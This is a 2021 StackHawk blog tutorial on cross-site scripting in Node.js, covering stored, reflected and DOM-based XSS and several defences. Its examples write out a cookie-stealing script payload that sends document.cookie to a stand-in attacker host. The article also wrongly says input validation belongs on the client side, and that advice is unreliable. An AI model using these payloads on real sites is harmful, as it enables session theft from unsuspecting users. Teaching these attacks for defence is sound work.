NodeJS XSS Guide:
Examples and Prevention

stackhawk

StackHawk|October 5, 2021

I'll explain the basics of cross-site scripting (XSS) and how it works. After that, we can explore the NodeJS XSS stack.

There's a lot to learn about web application vulnerability mitigation. And the amount of information to master in the web development domain is already intimidating enough. Nevertheless, we must go to great lengths to keep ourselves up to date on the latest trends in vulnerabilities and exploits.

So in this article, which is part of a series exploring vulnerabilities on the web, we'll discuss one particularly pernicious kind that we must deal with to secure our applications: cross-site scripting, or XSS.

I'll briefly explain the basics of cross-site scripting and how it works. Then we can explore the subject within the context of the Node.js stack. Don't worry whether or not you have enough experience working with Node.js. I'll keep the explanations grounded enough so that you can apply the concepts with any development stack. Nevertheless, I recommend that you take some time and familiarize yourself with Node.js and JavaScript. You can start here.

Making Sense of XSS

Let's start with the basics. If you don't know what cross-site scripting is or have never seen it in action, don't worry. It's simple to understand.

Most web applications rely on user input and data manipulation as their main conduits for functionality. After all, providing these kinds of interactions is their features' core service. Some examples are social media, bank portals, and music services.

Due to the nature of these interactions, web applications are inherently vulnerable to bad actors who seek to profit from the legitimate users of those services. Suppose any of these bad actors can, in some way, manipulate or influence what other users might see or be able to interact with on their site. In that case, they can trick a legitimate user into unintentionally surrendering their data or guide them away to a malicious site.

Some of these bad actors accomplish this through some form of JavaScript injection. Hence, cross-site scripting.

Now, the avenues that attackers might use to take advantage of our platforms are plentiful and diverse. But unfortunately, no global mitigation strategy really exists, at least not one that's effective enough. Therefore, it's necessary to have a robust understanding of concepts like injection, scripting, HTTP protocols, and the development stack they're working on to tackle this issue competently. Additionally, one must understand the context of every vulnerability to mitigate the threats effectively.

XSS Example

Attackers usually produce cross-site scripting attacks in JavaScript or another scripting language that a browser can process. Modern browsers can process hundreds of scripts and requests on every page load. This means that exploiting the client's security can sometimes be relatively straightforward. So much so, in fact, that cross-site scripting can exploit something as simple as a comment section.

Imagine, if you will, a user profile page in a social network. This user has allowed comments on his posts, and the developer did not think to escape the user input. 

A bad actor could input the following:

<script> window.location='http://attackersite.com/?cookie=' + document.cookie </script>

This simple script code would then be stored in the database and executed every time a user visits the page. This means that victims will send their cookies to the attacker's website just by loading the profile page. The attacker waits for the cookies to arrive, the code runs stealthily, and the victims are none the wiser.

Types of XSS Vulnerabilities

As I mentioned before, these attacks are not exclusive to comments or any specific user input. Attackers can very well inject these exploits into other areas of the application by various means. 

Let's explore some of them.

Reflected XSS Attacks

These attacks are the simplest forms of cross-site scripting and depend heavily on tactics like phishing and social engineering to exploit their victims. The attacker simply needs to create a URL with a malicious query string injected into it and convince the victim to click on it by masking it or using another means of deception.

http://legitimatesite.com/search?q=<script>window.location='http://attackersite.com/?cookie='+document.cookie</script>

Once the victim clicks and the browser redirects to the website, the script executes and sends the cookies without the victim realizing something is wrong.

This kind of attack is very effective, especially when the attacker has developed sophisticated means to deceive users into clicking on links. Therefore, it is essential to protect websites against them.

Persistent XSS Attacks

The pattern we explored in the previous section is an excellent example of a persistent cross-site scripting attack. These attacks take advantage of the social features that exist on many websites where users can input and share data between them.

DOM-Based XSS Attacks

Finally, DOM-based cross-site scripting attacks are similar to reflected cross-site scripting attacks in that they depend on manipulating the victim into clicking on a malicious link. In this case, however, the link alters the target website's DOM directly and injects malicious scripts into the otherwise safe features on the page.

An example would look something like this.

http://legitimatesite.com/dashboard.html?default=<script>window.location='http://attackersite.com/?cookie='+document.cookie</script>

In this case, 'default' would be customarily used to populate or set the default index on a select element or a picker. Then, when the victim clicks on the link, the select element is modified to execute the script when they interact with it.

Mitigating XSS Vulnerabilities in Node.js

Most of these attacks depend either on a weak or nonexistent escape policy on user input or on the execution of scripts on the site.

Therefore, the first step in cross-site scripting attack mitigation should be minimizing the amount of untrusted user input, escaping the rest, and employing robust policies against scripts running on the site. Of course, this means developers must apply XSS mitigation measures on the Node.js platform.

Input Restriction

A straightforward way to mitigate a lot of potential vulnerabilities in your application is to replace manual input with elements that restrict what kind of data a user can input. For example, if you only expect a user to input integers, consider using a select element with the possible values.

This approach can reduce the amount of work needed to protect your applications from attacks. However, do keep in mind that sufficiently experienced and motivated attackers can circumvent these solutions.

Input Validation

We must perform input validation to ensure that only secure data reaches the server. Therefore, validation of user input should happen on the client side.

Something as simple as this can go a long way to protecting us against script injection:

var v = require('validator');
var escaped_input = v.escape(user_input);

You can also validate user input with server-side JavaScript with the module strip-js. This module can automatically remove script tags, sanitize input data, and strip all scripts found on 'href' properties or otherwise.

Cookies are one of the most frequent targets of cross-site scripting attacks. One effective way to crack down on these attacks is to implement an HttpOnly cookie policy. This policy essentially prevents JavaScript from having access to cookies.

One way to achieve this in Node.js is the following:

app.use(express.session({
secret: "MY_SECRET",
cookie: {
httpOnly: true,
secure: true
}
})
)

In your code, it would look something like this:

NodeJS XSS Guide: Examples and Prevention - Picture 1 image

HttpOnly instructs the browser not to expose cookies to any script.

If you want to read more about cross-site scripting in general and get a more robust understanding of the logistics behind it, I encourage you to read our pillar post about it here. Additionally, you can explore our security solution platform and find out how you can mitigate all vulnerabilities in your application effortlessly here.

Find and Fix Security Vulnerabilities

Managing Risk

Protecting applications from the myriad vulnerabilities that exist daily can be an arduous task. Moreover, these vulnerabilities, which reside in our own platforms, can be the single most significant liability to the stability and security of our businesses and our client's data.

Many exploits can affect our platforms in different ways. For example, threats like DDOS can temporarily bring services down and affect our quality of service. Meanwhile, sophisticated SQL injection attacks can wreak havoc on databases and even facilitate the takeover of servers. Understanding this is important because we can't eliminate all threats since we only have so much time and energy. 

This post was written by Juan Reyes. Juan is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.


StackHawk  |  October 5, 2021